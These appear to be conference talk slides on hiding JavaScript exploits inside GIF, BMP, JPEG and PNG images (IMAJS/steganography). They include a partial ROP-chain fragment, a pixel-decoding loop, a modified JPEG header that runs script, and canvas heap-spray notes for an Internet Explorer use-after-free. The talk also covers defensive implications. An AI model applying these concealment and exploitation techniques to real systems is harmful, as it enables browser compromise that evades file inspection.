About Me

Saumil Shah
CEO, Net-Square

@therealsaumil

saumilshah

hacker, trainer, speaker, author, photographer
educating, entertaining and exasperating audiences
since 1999
Hiding In Plain Sight
Images are INNOCENT!
A bit of History

- Steganography
- GIFAR concatenation
- PHP/ASP webshells appending tags
  ```php
  <?php..?> <%..%>
  ```
- XSS in EXIF data
Dangerous Content Is ...Dangerous
"255 shades of gray" - 2011
function packv(n) {var s = new Number(n).toString(16); while (s.length < 8) s = "0" + s; return (unescape("%u" + s.substring(4, 8) + "%u" + s.substring(0, 4)))}

var addressof = new Array();
addressof["ropnop"] = 0x6d81bdf0;
addressof["xchg_eax_esp_ret"] = 0x6d81bdef;
addressof["pop_eax_ret"] = 0x6d906744;
addressof["pop_ecx_ret"] = 0x6d81cd57;
addressof["mov_peax_ecx_ret"] = 0x6d979720;
addressof["mov_eax_pecx_ret"] = 0x6d8d7be0;
addressof["mov_pecx_eax_ret"] = 0x6d838f54;
addressof["add_eax_4_ret"] = 0x00000000;
addressof["call_peax_ret"] = 0x6d8aec31;
addressof["add_esp_24_ret"] = 0x00000000;
addressof["popad_ret"] = 0x6d82a8a1;
addressof["call_peax"] = 0x6d802597;

function call_ntallocatevirtualmemory(baseptr, size, callnum) {
    ropnop = packv(addressof["ropnop"]) ;
    pop_eax_ret = packv(addressof["pop_eax_ret"]) ;
    pop_ecx_ret = packv(addressof["pop_ecx_ret"]) ;
    mov_peax_ecx_ret = packv(addressof["mov_peax_ecx_ret"]) ;
    mov_eax_pecx_ret = packv(addressof["mov_eax_pecx_ret"]) ;
    mov_pecx_eax_ret = packv(addressof["mov_pecx_eax_ret"]) ;
    call_peax_ret = packv(addressof["call_peax_ret"]) ;
    add_esp_24_ret = packv(addressof["add_esp_24_ret"]) ;
    popad_ret = packv(addressof["popad_ret"]) ;
    retval = ""
Avoid the EVIL eval()

```javascript
var a = eval(str);

a = (new Function(str))();
```

Hat tip: Dr. Mario Heiderich @0x6D6172696F
At first, like many of you, we were stumped. I mean the code is good, no major issues, right? Then we noticed this little function, `loadFile()`. The function itself wasn’t curious, but the fact that it was loading a PNG was – `var strFile = '../dron.png'`. You’d be surprised how long of staring it takes to notice something like that, I know hindsight is a real kicker.

Naturally our next step was to open that curious `dron.png` file. I mean, what could go wrong?

Well, absolutely nothing, it’s perhaps the most boring thing I have ever seen, lovely. What a waste of time...

But wait, we then noticed this interesting little loop:

```javascript
var oData = oCtx.getImageData(0, 0, iWidth, iHeight).data;
var a = [];
var len = oData.length;
var p = -1;
for (var i=0; i<len; i++) {
  if (oData[i] > 0){
    a[p] = String.fromCharCode(oData[i]);
  }
}
var strData = a.join('');
```

Well that’s surely curious, it has a decoding loop. Why would it need a decoding loop for a PNG file?
IMAJS – The Concept

<img> sees pixels
<script> sees code

#YourPointOfView

Holy
Sh**
Bipolar
Content!
Cross Container Scripting - XCS

It's a TRAP!
Thu Nov 08 2012 03:08:42 GMT+0530 (IST)

<img src="itsatrap.gif">
<script src="itsatrap.gif">
</script>
# IMAJS-GIF Browser Support

<table>
<thead>
<tr>
<th>Height</th>
<th>Width</th>
<th>Browser/Viewer</th>
<th>Image Renders?</th>
<th>Javascript Executes?</th>
</tr>
</thead>
<tbody>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Firefox</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Safari</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>IE</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Chrome</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Opera</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Preview.app</td>
<td>yes</td>
<td>-</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>XP Image Viewer</td>
<td>no</td>
<td>-</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Win 7 Preview</td>
<td>yes</td>
<td>-</td>
</tr>
</tbody>
</table>
# IMAJS-BMP Browser Support

<table>
<thead>
<tr>
<th>Height</th>
<th>Width</th>
<th>Browser/Viewer</th>
<th>Image Renders?</th>
<th>Javascript Executes?</th>
</tr>
</thead>
<tbody>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Firefox</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Safari</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>IE</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Chrome</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Opera</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Preview.app</td>
<td>yes</td>
<td>-</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>XP Image Viewer</td>
<td>yes</td>
<td>-</td>
</tr>
<tr>
<td>2f 2a</td>
<td>00 00</td>
<td>Win 7 Preview</td>
<td>yes</td>
<td>-</td>
</tr>
</tbody>
</table>
## Popular Image Formats

<table>
<thead>
<tr>
<th></th>
<th>BMP</th>
<th>GIF</th>
<th>PNG</th>
<th>JPG</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>IMAJS</strong></td>
<td>Easy</td>
<td>Easy</td>
<td>Hard (00 in header)</td>
<td>Hard (Lossy)</td>
</tr>
<tr>
<td><strong>Alpha</strong></td>
<td></td>
<td></td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td><code>&lt;CANVAS&gt;</code></td>
<td>?</td>
<td></td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Colours</strong></td>
<td>RGB</td>
<td>Paletted</td>
<td>RGB</td>
<td>RGB</td>
</tr>
<tr>
<td><strong>Extra Data</strong></td>
<td></td>
<td></td>
<td></td>
<td>EXIF</td>
</tr>
</tbody>
</table>
All new IMAJS-JPG!

I love JPG

JPG + JS + HTML + CSS

Hat tip: Michael Zalewski @lcamtuf
The Secret Sauce

shhh..
don’t tell
anyone
The Secret Sauce

Regular JPEG Header

| FF  D8  FF  E0 | 00 10 4A 46 49 46 00 01 01 01 01 2C |
| Start marker  | length                     "J F I F \0" |
| 01 2C 00 00   | FF E2                      ... |
|               | next section...            |

Modified JPEG Header

| FF  D8  FF  E0 | 2F 2A 4A 46 49 46 00 01 01 01 01 2C |
| Start marker  | length                     "J F I F \0" |
| 01 2C 00 00   | 41 41 41 41 41...12074...41 41 41 41 FF E2 ... |
|               | whole lot of extra space!  |
|               | next section...            |
The Secret Sauce

Modified JPEG Header

```
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 01 2C
Start marker length "J F I F \0"
01 2C 00 00 41 41 41 41 41 12074 41 41 41 FF E2 ...
whole lot of extra space!
```

See the difference?

```
FF D8 FF E0 /* 4A 46 49 46 00 01 01 01 01 2C
Start marker comment!
01 2C 00 00 */='';alert(Date());;/*...41 41 41 FF E2 ...
Javascript goes here
```

next section...
SHALL HE PLAY A GAME?
HTML5 for Exploit Dev

- jsrcript9.dll introduced many changes.
  - No %u0000 in strings.
  - No 0x00000000 in strings.
- Kills conventional Heap Sprays.
- `<CANVAS>` to the rescue!
- IE9 and above "support" HTML5.
- `<!DOCTYPE html>`
CANNVAS for Exploit Dev

• Heap Sprays through Pixel Arrays!
• No character restrictions.
  – All pixels treated equally!
• And a bonus... ALPHA CHANNELS.
MS14-035 CInput Use-After-Free

IMAJS + stego = PWN!
PAYLOADS GO BACK IN TIME
ATTACK TIMELINE

I'M IN UR BASE
GET /lolcat.png
200 OK

JS Exploit code encoded in PNG.
EVIL

GET /decoder.jpg
200 OK

Decoder script references PNG from cache.
SAFE

....KILLING UR DOODZ
GET /lolcat.png
304 Not Modified

OCT 2014

FEB 2015
Conclusions - Offensive

• Lot of possibilities!
• Weird containers, weird encoding, weird obfuscation.
• Image attacks emerging "in the wild".
• Not limited to just browsers.
Conclusions - Defensive

• DFIR nightmare.
  – how far back does your window of inspection go?
• Can't rely on extensions, file headers, MIME types or magic numbers.
• Wake up call to browser-wallahs.
Greets!

Michael Zalewski
@lcamtuf
Ange Albertini
@corkami
@zer0mem
Mario Heiderich
@0x6D6172696F
Thomas Lim
@thomas_coseinc
@SyScan crew!

Photography
by
Saumil Shah
THE END

Saumil Shah

@therealsaumil
saumilshah

saumil@net-square.com

See you at #SYSCAN16

#syscanmustnotdie